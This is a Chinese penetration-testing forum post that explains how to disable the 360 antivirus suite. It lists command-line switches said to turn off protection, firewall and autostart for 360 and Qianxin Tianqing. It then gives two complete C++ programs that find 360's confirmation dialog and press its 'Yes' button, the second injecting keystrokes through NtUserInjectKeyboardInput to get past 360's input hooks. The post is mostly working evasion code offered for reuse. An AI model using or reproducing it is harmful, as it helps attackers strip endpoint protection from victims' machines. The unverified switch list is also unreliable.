一种k360的方式分享
Bat-Hibara 发表于 甘肃 渗透测试 343浏览 · 2024-12-10 14:59

360?如此简单

序言,本文将分享一种鄙人之前挖掘到的360相关可利用方面,可实现k360,代码还是需要各位师傅自己微调微调的,不要用我的技术搞违法乱纪的事,法律责任与鄙人无关。。。。

0.挖掘前的准备

a. 奇安信天擎 (Qianxin Tianqing)
-------------------------------------------------------------------
/disablesp 1
禁用天擎的系统防护(SP)。
1
表示禁用,
0
表示启用。例如:

tianqing.exe /disablesp 1

-------------------------------------------------------------------
/start
启动天擎防护服务。
-------------------------------------------------------------------
/stop
停止天擎防护服务。
-------------------------------------------------------------------

/status
查看当前天擎的状态,查看是否启用了防护。
-------------------------------------------------------------------

/disable 1
禁用天擎的实时防护功能。
-------------------------------------------------------------------

/enable 1
启用天擎的实时防护功能。
-------------------------------------------------------------------
b. 360 安全软件 (360 Security)

/disablesp 1
禁用 360 的系统防护。
1
表示禁用,
0
表示启用。示例:

360sd.exe /disablesp 1
/start
启动 360 安全防护服务。
-------------------------------------------------------------------

/stop
停止 360 的防护服务。
-------------------------------------------------------------------
/update
手动更新 360 安全软件的病毒库和程序。
-------------------------------------------------------------------

/uninstall
卸载 360 安全软件。
-------------------------------------------------------------------

/scan
启动 360 安全软件的扫描功能,扫描指定的文件或目录。例如:

360sd.exe /scan C:\path\to\scan
-------------------------------------------------------------------

/status
查询 360 安全软件的当前防护状态。
c. 360 企业版

/updateall
更新所有 360 安全防护组件。
-------------------------------------------------------------------

/checkstatus
检查 360 防护软件的当前状态。
-------------------------------------------------------------------

/disablefirewall 1
禁用 360 防火墙功能,
1
为禁用,
0
为启用。
-------------------------------------------------------------------

/enablefirewall 1
启用 360 防火墙功能,
1
为启用,
0
为禁用。
-------------------------------------------------------------------
d. 其他常见命令
/disableautostart 1
禁用 360 或天擎的自启动功能。

/enableautostart 1
启用自启动功能。
-------------------------------------------------------------------

/clean
执行 360 或天擎的系统清理操作,清理恶意文件和日志。
-------------------------------------------------------------------

/report
生成安全报告,通常用于企业环境中收集防护数据。

-------------------------------------------------------------------

1.开导

直接把360主程序(360tray.exe)导进IDA,然后跑关键词就行,关键词就是上文我分享的,本文以"C:\Program Files (x86)\360\360Safe\safemon\360tray.exe" /disablesp 1 指令为演示,分享一下如何对其进行利用:
IDA搜索关键词:disablesp

判断存在该指令利用,我们不妨输入试试效果

哦豁,那么我们写个代码来模拟点击:

#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>

// 回调函数,用于查找包含“是”字样的按钮
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {
    wchar_t className[256];
    wchar_t buttonText[256];

    // 获取控件类名
    GetClassName(hwnd, className, sizeof(className) / sizeof(wchar_t));
    // 检查是否是按钮
    if (wcscmp(className, L"Button") == 0) {
        // 获取按钮文本
        GetWindowText(hwnd, buttonText, sizeof(buttonText) / sizeof(wchar_t));
        if (wcsstr(buttonText, L"是")) {
            std::wcout << L"找到按钮: " << buttonText << L",句柄: " << hwnd << std::endl;

            // 发送点击消息
            SendMessage(hwnd, BM_CLICK, 0, 0);
            *(bool*)lParam = true; // 记录是否成功找到并点击按钮
            return FALSE; // 停止枚举子窗口
        }
    }
    return TRUE; // 继续枚举
}

// 主函数
int main() {
    const wchar_t* targetWindowName = L"360产品"; // 要查找的窗口名称
    HWND targetWindow = FindWindow(NULL, targetWindowName); // 查找窗口句柄

    if (targetWindow == NULL) {
        std::wcerr << L"未找到窗口: " << targetWindowName << std::endl;
        return 1;
    }

    std::wcout << L"找到窗口: " << targetWindowName << L",句柄: " << targetWindow << std::endl;

    bool buttonClicked = false; // 用于记录是否成功点击按钮

    // 枚举目标窗口的子控件,查找“是”字样的按钮
    EnumChildWindows(targetWindow, EnumChildProc, (LPARAM)&buttonClicked);

    if (buttonClicked) {
        std::wcout << L"成功点击了“是”按钮。" << std::endl;
    } else {
        std::wcerr << L"未找到“是”字样的按钮。" << std::endl;
    }

    return 0;
}

我们运行,发现虽然鼠标移动到了“是”按钮上,但是没有办法有效点击,这是因为360对旗下产品的任何按键都做了hook处理,防止这样去点击,那么我们沿着这个思路继续写,用NtUserInjectKeyboardInput函数绕过杀软屏幕锁定模拟键鼠
具体文章看:NtUserInjectKeyboardInput函数绕过杀软屏幕锁定模拟键鼠

代码如下:

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
#include <dwmapi.h>
#include <winternl.h>

#pragma comment(lib, "Dwmapi.lib")

// 定义 NtUserInjectKeyboardInput 函数原型
typedef struct _KEYBOARD_INPUT_DATA {
    USHORT UnitId;
    USHORT MakeCode;
    USHORT Flags;
    USHORT Reserved;
    ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

typedef NTSTATUS(WINAPI* NtUserInjectKeyboardInput_t)(PKEYBOARD_INPUT_DATA, ULONG);

// 函数指针变量
NtUserInjectKeyboardInput_t NtUserInjectKeyboardInput = NULL;

// 加载 NtUserInjectKeyboardInput
bool LoadNtUserInjectKeyboardInput() {
    HMODULE hUser32 = LoadLibrary(L"user32.dll");
    if (!hUser32) {
        std::wcerr << L"无法加载 user32.dll" << std::endl;
        return false;
    }

    // 获取函数地址
    NtUserInjectKeyboardInput = (NtUserInjectKeyboardInput_t)GetProcAddress(hUser32, "NtUserInjectKeyboardInput");
    if (!NtUserInjectKeyboardInput) {
        std::wcerr << L"无法找到 NtUserInjectKeyboardInput 函数。" << std::endl;
        return false;
    }

    return true;
}

// 回调函数,用于查找包含“是”字样的按钮
BOOL CALLBACK EnumChildProc(HWND hwnd, LPARAM lParam) {
    wchar_t className[256];
    wchar_t buttonText[256];

    // 获取控件类名
    GetClassName(hwnd, className, sizeof(className) / sizeof(wchar_t));
    // 检查是否是按钮
    if (wcscmp(className, L"Button") == 0) {
        // 获取按钮文本
        GetWindowText(hwnd, buttonText, sizeof(buttonText) / sizeof(wchar_t));
        if (wcsstr(buttonText, L"是")) {
            std::wcout << L"找到按钮: " << buttonText << L",句柄: " << hwnd << std::endl;

            // 获取按钮位置
            RECT rect;
            if (GetWindowRect(hwnd, &rect)) {
                // 移动鼠标到按钮上
                SetCursorPos((rect.left + rect.right) / 2, (rect.top + rect.bottom) / 2);
                std::wcout << L"鼠标已移动到按钮上方。" << std::endl;

                // 模拟按下 Enter 键
                if (NtUserInjectKeyboardInput) {
                    KEYBOARD_INPUT_DATA keyInput[2] = {};

                    // 模拟按下 Enter 键
                    keyInput[0].MakeCode = 0x1C; // Enter 键的扫描码
                    keyInput[0].Flags = 0; // 按下

                    // 模拟释放 Enter 键
                    keyInput[1].MakeCode = 0x1C; // Enter 键的扫描码
                    keyInput[1].Flags = 0x0001; // 松开

                    // 调用 NtUserInjectKeyboardInput
                    NTSTATUS status = NtUserInjectKeyboardInput(keyInput, 2);
                    if (status == 0) {
                        std::wcout << L"成功模拟按下 Enter 键。" << std::endl;
                    } else {
                        std::wcerr << L"模拟按下 Enter 键失败,状态码: " << status << std::endl;
                    }
                }

                *(bool*)lParam = true; // 记录是否成功找到按钮
                return FALSE; // 停止枚举子窗口
            } else {
                std::wcerr << L"无法获取按钮位置。" << std::endl;
            }
        }
    }
    return TRUE; // 继续枚举
}

// 主函数
int main() {
    const wchar_t* targetWindowName = L"360产品"; // 要查找的窗口名称

    // 加载 NtUserInjectKeyboardInput
    if (!LoadNtUserInjectKeyboardInput()) {
        return 1;
    }

    HWND targetWindow = FindWindow(NULL, targetWindowName); // 查找窗口句柄

    if (targetWindow == NULL) {
        std::wcerr << L"未找到窗口: " << targetWindowName << std::endl;
        return 1;
    }

    std::wcout << L"找到窗口: " << targetWindowName << L",句柄: " << targetWindow << std::endl;

    bool buttonClicked = false; // 用于记录是否成功找到按钮

    // 枚举目标窗口的子控件,查找“是”字样的按钮
    EnumChildWindows(targetWindow, EnumChildProc, (LPARAM)&buttonClicked);

    if (buttonClicked) {
        std::wcout << L"成功处理了“是”按钮。" << std::endl;
    } else {
        std::wcerr << L"未找到“是”字样的按钮。" << std::endl;
    }

    return 0;
}

完成点击,360被成功干掉

0 条评论
某人
表情
可输入 255